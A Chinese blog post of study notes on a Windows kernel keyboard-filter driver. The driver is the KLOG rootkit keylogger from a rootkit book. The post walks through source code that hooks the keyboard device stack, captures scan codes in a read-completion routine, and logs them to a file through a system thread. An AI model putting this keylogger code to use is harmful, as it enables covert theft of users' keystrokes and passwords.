A Kernel Key Logger

http://blog.sina.com.cn/s/blog_5371d2790100e4rc.html

 键盘过滤驱动核心思想总结

可以参考另外一篇文章《Designing A Kernel Key Logger》,这两篇文章都是关于键盘记录的,相互补充,相得益彰.....

    该键盘过滤驱动程序是《ROOTKIT---window内核的安全防护》一书中的例子。原型就是KLOG rootkit,写这个文档的主要目的是记录自己在调试、学习过程中的一些认识、心得、体会。全当读书笔记

该驱动的工作原理是:在系统键盘设备上挂接一个我们自己创建的设备对象,这样当击键行为发生时,击键请求首先被我们的过滤驱动设备所捕获,从而实现击键行为的记录。

 

    要捕获的IRP请求是:IRP_MJ_READ请求,对于其他的IRP请求,直接将其传递给下层设备对象处理。

   注意:这个驱动程序没有设置控制设备对象(即用户应用程序和驱动程序交互的设备对象)

      

下面根据函数的执行流程来做个粗略分析

一、DriverEntry函数

      该函数主要做一些初始化工作,比如设置分发例程、初始化全局变量、创建用于记录击键行为的线程、attach过滤驱动、打开日志记录文件。

(1)设置分发例程

for (i = 0;i < IRP_MJ_MAXIMUM_FUNCTION; i ++)

    pDriverObject->MajorFunction[i] = DispatchPassDown;

 

pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;

pDriverObject->DriverUnload = DriverUnload;

(2)将过滤驱动程序attach到系统的键盘设备上。

HookKeyBoard(pDriverObject);

(3)创建线程,用于记录击键行为。------因为在驱动程序IRP处理函数中不能执行文件操作,所以我们必须要创建一个线程来执行写日志操作。

InitThreadKeyLogger(pDriverObject);

(4)初始化全局变量

    //QueueListHead是一个ListEntry结构的共享链表,其中记录了所有的击键动作。

InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

    

    KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

    //initialize the work queue semaphore

KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);

(5)打开文件C:KeyLog.txt以记录击键动作。

RtlInitUnicodeString(&unifileName,L"\??\C:\KeyLog.txt");

    

InitializeObjectAttributes(

        &objectAttributes,

        &unifileName,

        OBJ_CASE_INSENSITIVE,

        NULL,

        NULL);

 

    ntStatus = ZwCreateFile(

        &pKeyboardDeviceExtension->hLogFile,

        GENERIC_WRITE,

        &objectAttributes,

        &file_status,

        NULL,

        FILE_ATTRIBUTE_NORMAL,

        0,

        FILE_OPEN_IF,

        FILE_SYNCHRONOUS_IO_NONALERT,

        NULL,

        0);

    if (!NT_SUCCESS(ntStatus))

    {

        DbgPrint("Failed to create log filen");

        DbgPrint("File status = %xn",file_status);

    }else{

        DbgPrint("successfully created log filen");

        DbgPrint("file handle = %x n",pKeyboardDeviceExtension->hLogFile);

}

二、分发例程

在这个驱动程序中我们只关心两个分发例程DispatahPassDow和DispatchRead

(1)DispatchPassDown

这个分发例程中,我们不兑RIRP请求做任何处理,只是简单的传递给下层的设备对象。

NTSTATUS

DispatchPassDown(

   IN   PDEVICE_OBJECT deviceObject,

   IN  PIRP         pIrp)

{

   DbgPrint("Entering DispatchPassDown Routinen");

   IoSkipCurrentIrpStackLocation(pIrp);

   return  IoCallDriver(((PDEVICE_EXTENSION)deviceObject->DeviceExtension)->pKeyboardDevice,pIrp);

    }

(2)DispatchRead

当一个READ请求到达键盘控制器时,就调用该函数。这时IRP中并没有可用的数据,相反,我们希望在捕获了击键动作之后察看IRP-----当IRP正在沿着设备链向上传输时,所以我们应该设置一个完成例程来操作正在返回的IRP请求。所以DispatchRead例程的主要工作是设置完成例程。

    //设置完成例程

    IoSetCompletionRoutine(

        pIrp,

        OnReadCompletion,

        deviceObject,

        TRUE,

        TRUE,

        TRUE);

    

    numpendingIrps ++;

    //将IRP请求传递给下层的设备

return IoCallDriver(((PDEVICE_EXTENSION)deviceObject->DeviceExtension)->pKeyboardDevice,pIrp);

   这样,每个IRP_MJ_READ请求在返回的时候都会在OnReadCompletion得到进一步的处理。下面看一下OnReadCompletion函数怎么处理返回的IRP请求。

    //检查IRP的状态,如果是STATUS_SUCCESS则说明IRP已经完成并且应该已经记录了击键数据。

    if (pIrp->IoStatus.Status == STATUS_SUCCESS)

    {

        keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

        numkeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);

        

     //遍历所有的数组成员,从每个成员中获取击键动作

        for(i = 0; i < numkeys; i ++)

        {

             DbgPrint("ScanCode:%xn",keys[i].MakeCode);

             if (keys[i].Flags == KEY_BREAK)

                  DbgPrint("%sn","Key Up");

             if (keys[i].Flags == KEY_MAKE)

                  DbgPrint("%sn","Key Down");

 

             //分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入全局链表中。

             kData = (KEY_DATA *)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));

             

             //fill in the kData structure with info from IRP

             kData->KeyData = (char)keys[i].MakeCode;

             kData->KeyFlags = (char)keys[i].Flags;

 

             //add the scan code to the linked list queue so our worker thread

             //can write it out to a file

             DbgPrint("Add IRP to work queuen");

             ExInterlockedInsertTailList(

                  &pkeyboardDeviceExtension->QueueListHead,

                  &kData->ListEntry,

                  &pkeyboardDeviceExtension->lockQueue);

 

             //Increment the semaphore by 1

             KeReleaseSemaphore(

                  &pkeyboardDeviceExtension->semQueue,

                  0,

                  1,

                  FALSE);

        }

    }

 

    //mark the IRP pending if necessary

    if (pIrp->PendingReturned)

        IoMarkIrpPending(pIrp);

    

    //remove the Irp from out own count of tagged IRPs

    numpendingIrps --;

    return pIrp->IoStatus.Status;

    }

此时链表中已经保存了一个击键动作,这样写日志线程就可以工作了。我们在后面讨论写日志线程的工作。

三、将过滤驱动attach到系统键盘设备上------ HookKeyBoard

(1)创建过滤设备+设置设备标记

注意,过滤设备对象一般都没有名字,这里要创建的设备对象也没有名字,类型为FILE_DEVICE_KEYBOARD。

   ntStatus = IoCreateDevice(

        pDriverObject,

        sizeof(DEVICE_EXTENSION),

        NULL,

        FILE_DEVICE_KEYBOARD,

        0,

        TRUE,

        &pkeyboardDeviceObject);

    if (!NT_SUCCESS(ntStatus))

        return ntStatus;

    //新设备的标记应该设置为与底层键盘设备的标记相同

   pkeyboardDeviceObject->Flags = pkeyboardDeviceObject->Flags |(DO_BUFFERED_IO | DO_POWER_PAGABLE);

    pkeyboardDeviceObject->Flags = pkeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;

    DbgPrint("Flags set successfullyn");

    

    //initialize the device extension

    RtlZeroMemory(pkeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));

    pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pkeyboardDeviceObject->DeviceExtension;

(2)将过滤驱动attach到底层键盘设备上

    RtlInitAnsiString(&ntNameString,ntNameBuffer);

    RtlAnsiStringToUnicodeString(&ukeyboardDeviceName,&ntNameString,TRUE);

    IoAttachDevice(pkeyboardDeviceObject,

        &ukeyboardDeviceName,

        &pkeyboardDeviceExtension->pKeyboardDevice);

 

    RtlFreeUnicodeString(&ukeyboardDeviceName);

      至此,过滤驱动的挂载就完成了,下面就可以过滤所有的键盘操作了。接下来是创建一个用于写日志的线程。

四、创建线程,执行写日志操作

主要工作:调用PsCreateSystemThread创建线程、根据线程句柄获得线程对象,然后将该对象保存在DEVICE_EXTENSION对象中。

NTSTATUS

InitThreadKeyLogger(

    IN  PDRIVER_OBJECT pDriverObject)

{

    HANDLE            hThread;

    NTSTATUS ntStatus =STATUS_SUCCESS;

    PDEVICE_EXTENSION pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

    //set the worker thread to running state in device extension

    pkeyboardDeviceExtension->bThreadTerminate = FALSE;

 

    //create thread

    ntStatus = PsCreateSystemThread(

                                &hThread,

                                (ACCESS_MASK)0,

                                NULL,

                                (HANDLE)0,

                                NULL,

                                ThreadKeyLogger,

                                pkeyboardDeviceExtension);

    if (!NT_SUCCESS(ntStatus))

        return ntStatus;

 

    //obtain a pointer to the thread object and store it in DEVICE_EXTENSION

    ObReferenceObjectByHandle(

             hThread,

             THREAD_ALL_ACCESS,

             NULL,

             KernelMode,

             (PVOID *)&pkeyboardDeviceExtension->pThreadObj,

             NULL);

 

    ZwClose(hThread);

 

    return ntStatus;

}

下面看ThreadKeyLogger函数的执行过程。

(1)函数进入一个循环,代码通过KeWaitForSingleObject等待信号量。若信号量递增,则处理循环继续运行。

(2)通过工具函数ConvertScanCodeToKeyCode将获取的扫描码转换成键盘码。

(3)然后执行写日志操作。

五、卸载例程

VOID

DriverUnload(

    IN PDRIVER_OBJECT pdriverObject)

{

    KTIMER            kTimer;

    LARGE_INTEGER timeout;

    PDEVICE_EXTENSION pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pdriverObject->DeviceObject->DeviceExtension;

 

    DbgPrint("Entering DriverUnloadn");

 

    //取下分层设备的过滤驱动对象

    IoDetachDevice(pkeyboardDeviceExtension->pKeyboardDevice);

    

    //进入一个循环,直到所有的IRP都处理完

    timeout.QuadPart = 1000000;//1s

    KeInitializeTimer(&kTimer);

 

    while(numpendingIrps > 0)

    {

        //set the timer

        KeSetTimer(&kTimer,timeout,NULL);

        KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);

    }

 

    //set the key logger worker thread to terminate

    pkeyboardDeviceExtension->bThreadTerminate = TRUE;

 

    //wake up the thread if it's blocked &waitfor*** after this call

    KeReleaseSemaphore(&pkeyboardDeviceExtension->semQueue,0,1,TRUE);

 

    //wait till the worker thread terminates

    DbgPrint("Waiting for key logger thread to terminaten");

    KeWaitForSingleObject(pkeyboardDeviceExtension->pThreadObj,

                             Executive,

                             KernelMode,

                             FALSE,

                             NULL);

    //close the log file

    ZwClose(pkeyboardDeviceExtension->hLogFile);

 

    //delete the device

    IoDeleteDevice(pdriverObject->DeviceObject);

    DbgPrint("Tagged IRPs dead terminating.....n");

 

    return;

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章